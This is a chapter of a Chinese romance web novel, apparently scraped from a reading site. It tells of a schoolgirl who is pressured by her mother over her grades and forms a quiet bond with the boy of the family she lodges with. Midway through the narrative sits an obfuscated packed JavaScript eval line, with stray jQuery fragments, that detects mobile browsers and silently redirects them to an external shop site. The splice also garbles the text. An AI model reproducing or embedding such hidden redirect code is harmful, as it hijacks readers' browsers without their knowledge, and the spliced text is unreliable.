“数学怎么才考了102？”
搬进万鎏府第二天，妈妈打来电话，劈头盖脸的就是这一句。
林暮莱靠在沙发里，指尖轻扣着遥控器。电视里综艺在闹，妈妈的声音一贯冷静，精准地落在耳边。
“其他科目还行，物理可以再加强。边家儿子成绩就很好，你要多向他学习。”
“还有，在人家家里别给人添麻烦。”
句句敲进耳膜，不带情绪，不给她回应的机会。
“妈妈现在在国外谈生意，抽不开身......”
林暮莱靠在沙发里，盯着电视屏幕，忽然就没了兴致，遥控器按下，电视黑了。
客厅安静下来，黑屏里映出她的脸。
有点沮丧，有点无力。
“你平时上课是不是开小差了？”母亲的声音在耳畔放大。
林暮莱垂下眸，嗓音有些疲惫，“妈妈，我已经很努力了。”
“努力了怎么会考差？”
她沉默了一瞬，指尖无意识地在沙发扶手上蹭了蹭，喉咙发紧，“......我真的尽力了。”
卷子一张张地刷，错题重做，不懂就问。数学已经是她最认真对待的一门课，她真的不知道还能怎么做得更好。
电话那头安静了几秒，随即传来一句冷漠的话：“算了，你自己心里有数。”
林暮莱指尖微蜷，想解释什么，却又觉得没意义，半晌，嗓音极轻：“......对不起，我会努力的。”
“努力不是说说的。”母亲一记落槌。
......
电话被挂断。
林暮莱呆坐在沙发上，沉默了很久。
手中的屏幕早已暗下，可她依旧握紧手机，直到意识到握着手机的手指开始发僵。
那时的她并不知道。
那场电话不只有她一个人听见。
林暮莱站起身，动作有些迟缓，推开阳台门的刹那，冷风猛地灌进来，寒意锋利，一瞬间刮得她鼻尖泛红。
她走出去，没开灯。
阳台上，稀薄的月光渗着冷意，照亮地面一角。
她缓缓蹲下身，把额头抵在膝盖上，手指扣着手臂，把自己牢牢抱紧。
妈妈总说，要成为令她骄傲的女儿，要她成绩优秀，出众，步步走在正轨上，不能行差踏错。
可她其实一直有一句话很想问妈妈。
如果没有任何的前缀，可能不优秀，可能不漂亮，可能没办法令她骄傲......单单只是她这个女儿本身。
妈妈还会爱她吗？
寒风凛冽，指尖冻得发麻。扔在一旁的手机屏幕亮起，未读消息一闪一灭。
是妈妈发来的最后一句话，像是给了她的疑惑一个解答。
【你自己好好想想，为什么别人能做到，你就做不到。】
林暮莱头埋得更低，肩膀轻轻发着抖，用力将自己抱得更紧。
好累啊，怎么会这么累。
风刮过阳台，她又一次伸手去擦眼泪时，一道微暖的重量忽然从头顶落下。
余温透过布料，覆住她的肩。
夹杂着一股清冽的冷柚香。
林暮莱怔住，抬头，湿漉漉的眸光里满是愕然。
头顶的大衣顺势下滑，露出少年逆光站立的身影。
他没开口。
目光掠过她红着的眼眶，停了一瞬，又像什么都没看见似的收回。
那是她第一次见到边屿。
风吹起他的额发，他垂着眼，神情淡漠，却什么都没问，只朝她抬了抬下巴，让她把衣服穿好。
林暮莱鼻尖酸得发烫，动了动唇，可眼眶蓄满的泪水却先一步滚落。
下一秒。
头顶的羽绒服被人往下轻扯，整张脸被遮住。
视线里一片漆黑。
林暮莱轻轻吸了吸鼻子，最终什么也没说，只攥紧了大衣一角。
风声呼啸，少年站在原地看了她几秒。
似乎想说什么，最终却只是转身离开。
......
收拾好情绪，林暮莱起身回厅，脚步放得很轻。
客厅里只开了一盏昏黄的落地灯，暖气开得很足。屋外的寒意还贴在身上，脖颈间的凉意顺着骨缝渗进来，激得她打了个寒颤，于是下意识拢紧外套。
刚走没两步，她余光一撇，停住。
岛台旁站着个人。
她借着昏黄的灯光看去。
少年倚着岛台，右膝微曲，脚尖抵着地面，指尖漫不经心地划拉屏幕，睫毛低垂，在眼下落下一片阴影，光线半明半暗，看不清神色。
她脚步顿了顿，意外得有些后知后觉。
他不是......在海城吗？
林暮莱撇看向客厅的挂钟——23:50。
这个点，他应该和家人待在一起，围着一桌年夜饭，等着新年倒计时才对，为什么会出现在千里之外的京市？
不是说过完年才会回来吗？
林暮莱收回目光，心底的疑惑转了一圈，终究还是没问出口。
贸然打听显得多余，更何况，他也没有要解释的意思。
她垂了垂眼，又再度看去，语调平稳地自我介绍：“你好，我是林暮莱。”
她决定假装无事发生。
“从昨天搬来，接下来一段时间会借住在这里，打扰了。”
边屿闻声，掀起眼皮看了她一瞬，眼神很淡，没有什么情绪起伏。
“听说了。”
语调也很淡，甚至有些敷衍。
有点冷场。
林暮莱站在原地，轻吸了口气，视线落在他松松握着手机的指节上，半晌，开口：“刚才......谢谢你，衣服我会洗了还给你的。”
边屿的指腹漫不经心地拨着屏幕，没应声。
过了几秒，他忽然问：“你哭什么？”
林暮莱愣了下，没想到他会这么直接。
脑子乱糟糟的。一时间也不知道该怎么回答。
然而边屿还是那副懒懒散散的样子，站在那儿，眼皮半垂，手指一下下地翻转着手机，表情漠然得像是例行公事的随口一问。
她紧了紧手，又松开，垂下眸，声音淡了些：“......没什么。”
空气静了一瞬。
边屿安静地盯看了两秒，没再继续问。
他收了手机，缓步在她面前站定，视线往下扫了一眼，“衣服。”
林暮莱一怔，低头，才发现自己还拢着那件外套。
“啊......”她反应过来，手忙脚乱地递过去，又低声补了一句：“谢谢。”
墙上的秒钟在不知不觉中即将走完今年的最后一圈。
窗外，小区中央的巨幅屏幕开始倒数。
倒计时的声音一声声透过玻璃溢进屋内。
3——
林暮莱被倒数声吸引，下意识偏头，看向窗外。
荧光数字闪烁，倒映在玻璃上，映出微晃的光。
新的一年要来了啊，她想。
2——
今年......会是一个好年吧。
1——
思绪晃了晃。
她正要收回视线，肩侧忽然掠过一阵浅淡的冷柚香。
“新年快乐。”
一声极轻的嗓音落进夜色。
那是她搬来京市以后，收到的第一句新年快乐。
林暮莱怔然转身。
“嗖——！！！”
“嘭——！！！”
与此同时，漆黑的夜幕中霎时炸开漫天的烟花，夜幕被烟火撕裂，光亮闪烁。
耳边是绚烂炸裂的声响。
她的视线透过明灭交错的火光，落在那道不疾不徐的背影上。
有那么一瞬间，客厅被烟火照得通亮，如同白昼。
“嘭！”
“嘭！”
“嘭！”
心底那点道不明的情绪，仿佛也在此刻，随着升腾的烟花，莫名高涨。
她当时是什么心情啊......
后来她认真想过很多次，却始终得不出答案。
烟花落尽后，客厅的灯光重新变得昏黄，一切都归于平静。
就像他们的关系一样。
他们像是经历了电影播放过程中的卡顿，最终慢了一拍，进入了原本该有的状态。
陌生、沉默、互不打扰。
偶尔，边屿从她身侧走过，脚步不停，连余光都没有给她一分。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17767396|209765||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
她甚至开始怀疑，除夕夜发生的一切，是不是只是她的错觉。
但她没有时间多想。
寒假一结束，课业的压力很快盖过所有纷乱的思绪。
开学后，两人的生活轨迹几乎没有交集。
他们的班级不在一个楼层，只是偶尔，她会在广播操结束后，在来来往往的人群里看见他的身影。
也会在食堂端着餐盘转身时，看见他从另一侧窗口离开的背影。
旁边有人和他打招呼，他甚至没回头，只随意抬手挥了下。
于是周围的女生压低声音讨论了起来。
“边屿这次又是第一。”
“听说竞赛名单已经定了。”
“真的假的。”
但更多时候，是在各种地方。
竞赛名单贴在教学楼大厅，月考排名挂在走廊尽头，优秀学生公示栏定期更新，他的名字总出现在最显眼的位置。
关于边屿的消息，好像总能不经意落进耳朵里。
以至于后来每次经过公示栏，她总会不自觉看过去。
这之后，妈妈的电话一如既往，说着边屿多优秀，多了不起，要向他学习，最好能成为他，超越他。
以前，她听着也就过去了。
但这次，她竟然对这些夸赞有了实感。
布告栏上，他的名字永远在第一排，黑色油墨沉稳又刺目。
她仰起头，目光落在他填上的座右铭上——
“应对不自由世界的唯一方式，就是让自己变得绝对自由，以至于你的存在本身就成为一种反抗。”
操场上，国旗下，少年站在风里，清晰而有力地念出这一句。
林暮莱站在人群中凝望着他，突然就生出了一丝羡慕。
但她羡慕的不是第一名，也不是那些挂满墙壁的奖状，而是他说出这句话时的神情，张扬得让人移不开眼。
就好像，从来没有什么东西能够束缚他。
妈妈总说，人要优秀，要成为让别人羡慕的人。
可边屿站在那里，却让她第一次觉得。
能够让人羡慕的，除了优秀之外，还有自由。
于是她站在人群之外看着他。
忽然就觉得，他站得很高，也离她很远。
远到她几乎觉得，那个除夕夜里，是否真的有他的存在。
本以为，他们的关系会一直这样下去。
可在开学不久后的某天，妈妈来了边家。
也是从那天起，好像有什么东西悄然发生了变化。
饭桌上，妈妈看似关心、实则施压的叮嘱，让她闷得透不过气。
“数学还是得抓紧。”妈妈放下筷子，“这次期末又掉了十几分。”
林暮莱垂着眼扒饭，没吭声。
“你们学校数学老师前几天还给我打过电话。”
听见这句，她动作顿了顿。
“他说你思维能力不差，就是不够稳定。”妈妈停了一下，又补充：“还说到了高中以后，数学难度上来，男生的优势会越来越明显。”
边屿放下了筷子。
“尤其是竞赛和拔高题那部分，女生普遍会吃亏一点。”
林暮莱捏着筷子的手紧了紧，妈妈却像没察觉似的，继续说：“老师也是根据这些年的教学经验说的。”
“所以你更应该多花时间在数学上，而不是因为一次两次考不好就跟老师闹情绪。”
林暮莱抿唇，没有反驳。
直到边卉打断妈妈的说教后，才借口出去透气，去了阳台。
夜风带着冷意，吹得人清醒。
她撑着栏杆，垂眸看着楼下黑沉沉的道路，努力不去想餐桌上那些话。
可惜，没什么用。
身后忽然传来脚步声，她迎着风回头。
边屿站在那里。
像是早就知道她会躲出来，他的语气带着某种确定：“是因为这个？”
他没点明。
可她一下子就明白了，他在问什么。
-
回忆戛然而止。
林暮莱猛地回过神。
所以，那句“给你补课”不是因为她的成绩好坏。
而是因为那个除夕夜的晚上？